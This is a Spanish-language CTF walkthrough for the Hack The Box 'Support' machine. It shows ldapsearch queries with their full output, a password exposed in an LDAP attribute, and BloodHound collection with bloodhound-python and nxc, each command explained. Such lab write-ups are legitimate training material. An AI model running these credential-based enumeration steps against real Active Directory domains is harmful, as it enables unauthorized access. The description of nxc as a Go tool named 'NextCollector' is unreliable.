๐Ÿ“Œ Parรกmetros

-x โ†’ Usa autenticaciรณn simple (no SASL), que permite autenticarse con nombre de usuario y contraseรฑa

-b 'cn=Users,dc=support,dc=htb' โ†’ Define la base de bรบsqueda en el รกrbol LDAP. En este caso, se estรก buscando en la OU Users del dominio support.htb

-H ldap://10.10.11.174 โ†’ Direcciรณn del servidor LDAP al que se conecta. El prefijo ldap:// indica que se usa LDAP sin TLS

-D support\ldap โ†’ Usuario con el que te autenticรกs. En LDAP, el formato DOMINIO\\usuario es vรกlido en entornos Windows

-w '...' โ†’ Contraseรฑa del usuario. Estรก entre comillas simples para evitar que caracteres especiales como ^, $, % sean interpretados por Bash.

> ldap.txt โ†’ Redirige la salida completa del comando al archivo ldap.txt, para su anรกlisis posterior.

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โ””โ”€# ldapsearch -x -H ldap://10.10.11.174 -b 'DC=support,DC=htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -D 'ldap@support.htb' "(CN=support)"

# extended LDIF
#
# LDAPv3
# base <DC=support,DC=htb> with scope subtree
# filter: (CN=support)
# requesting: ALL
#

# support, Users, support.htb
dn: CN=support,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: support
c: US
l: Chapel Hill
st: NC
postalCode: 27514
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111200.0Z
whenChanged: 20220528111201.0Z
uSNCreated: 12617
info: Ironside47pleasure40Watchful
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
uSNChanged: 12630
company: support
streetAddress: Skipper Bowles Dr
name: support
objectGUID:: CqM5MfoxMEWepIBTs5an8Q==
userAccountControl: 66048
badPwdCount: 2
codePage: 0
countryCode: 0
badPasswordTime: 133918354571992344
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982099209777070
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILUQQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: support
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111201.0Z
dSCorePropagationData: 16010101000000.0Z

# search reference
ref: ldap://ForestDnsZones.support.htb/DC=ForestDnsZones,DC=support,DC=htb

# search reference
ref: ldap://DomainDnsZones.support.htb/DC=DomainDnsZones,DC=support,DC=htb

# search reference
ref: ldap://support.htb/CN=Configuration,DC=support,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 5
# numEntries: 1
# numReferences: 3
๐Ÿ“Œ Parรกmetros

-x โ†’ Usa autenticaciรณn simple (nombre de usuario y contraseรฑa).

-H ldap://10.10.11.174 โ†’ Direcciรณn del servidor LDAP sin TLS.

-b 'DC=support,DC=htb' โ†’ Base de bรบsqueda: indica el dominio completo como punto inicial, no solo la OU Users.

-w '...' โ†’ Contraseรฑa del usuario ldap. Se encierra entre comillas simples por los caracteres especiales.

-D 'ldap@support.htb' โ†’ Usuario con el que se autentica, en formato UPN (User Principal Name). Equivale a support\ldap.

"(CN=support)" โ†’ Filtro LDAP: busca objetos cuyo CN (Common Name) sea igual a support.

De esta forma encontramos nuevas credenciales. El siguiente paso es recolectar informaciรณn del AD con bloodhound y para esto tenemos dos opciones:

1) Con bloodhound-python

Si no conoces esta herramienta a continuaciรณn te dejo un artรญculo introductorio para que puedas comprender su uso

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โ””โ”€# bloodhound-python -u support -p 'Ironside47pleasure40Watchful' -d support.htb -v --zip -c All -dc support.htb -ns 10.10.11.174
๐Ÿ“Œ Parรกmetros

ยฟQuรฉ hace?

  • Usa la herramienta bloodhound-python, una reimplementaciรณn de SharpHound para Linux, escrita en Python.

  • Se conecta al dominio support.htb usando el usuario y contraseรฑa indicados.

  • -dc support.htb: especifica el FQDN del Domain Controller.

  • -ns 10.10.11.174: DNS que resuelve el nombre del DC.

  • -c All: indica que recolecte todas las categorรญas posibles, como:

    • ACLs, Trusts, Sessions, SPN targets, Group Memberships, etc.

  • --zip: empaqueta los resultados en un archivo .zip, listo para ser cargado directamente en la GUI de BloodHound.

  • -v: modo verbose, imprime informaciรณn durante el proceso.

2) Con nxc (NextCollector)

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โ””โ”€# nxc ldap 10.10.11.174 -u support -p support_pass --bloodhound -ns 10.10.11.174 -c Group,LocalAdmin,RDP,DCOM,Container,PSRemote,Session,Acl,Trusts,LoggedOn
๐Ÿ“Œ Parรกmetros

ยฟQuรฉ hace?

  • Utiliza nxc (NextCollector), una herramienta moderna escrita en Go, compatible con BloodHound.

  • Se conecta al servidor LDAP del Domain Controller (10.10.11.174) usando el usuario support.

  • Usa el plugin --bloodhound para recolectar datos รบtiles para grรกficos de relaciones en BloodHound.

  • Se especifica un servidor DNS/Nameserver con -ns 10.10.11.174.

  • El parรกmetro -c selecciona quรฉ tipos de datos recolectar, como:

    • Group: grupos de AD.

    • LocalAdmin: miembros del grupo Administradores locales.

    • RDP, DCOM, PSRemote: relaciones de acceso remoto.

    • Session, LoggedOn: sesiones activas.

    • Acl: delegaciones y permisos.

    • Trusts, Container: relaciones entre objetos y dominios.

๐Ÿ“Œ Resultado:

  • Genera archivos JSON con los datos recolectados para importar en BloodHound.

  • No requiere Python ni Windows, lo que lo hace ideal para ambientes mรญnimos o contenedores.

Una vez que tenemos el archivo con toda la informaciรณn recolectada abrimos la gui de Bloodhound e iniciamos el anรกlisis con el mรณdulo

Last updated 8 days ago

Ahora vamos a extraer mรกs data del objetivo con conectรกndonos como guest

De los recursos que se enumeraron del SMB hay uno que se llama support-tools allรญ vamos a ingresar para ver que contiene, usando .

Y vamos a hacerlo con . Pero primero repasemos cรณmo es cifrada la contraseรฑa:

Y asรญ logramos descifrar la contraseรฑa: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz que corresponde al usuario ldap. Ahora, algo que puede suceder en otra situaciรณn similar a esta es que no contemos con un usuario para implementar junto con la contraseรฑa, entonces lo que podemos hacer es enumerar usuarios con el script de la suite de impacket para luego armar una lista de usuarios y buscar con , aquel que haga el match con la contraseรฑa. El paso a paso seria algo asรญ:

Si filtramos desde el archivo ldap.txt aquellas lรญneas que contengan el , hallaremos mรกs usuarios. Como son muchos usuarios lo que es mรกs practicรณ en esta situaciรณn es listar los atributos de los usuarios por separado hasta encontrar credenciales expuestas:

enum4linux-ng
smbclient
CyberChef
Primeros pasos en BloodHound
kerbrute
lookupsid
sAMAccountName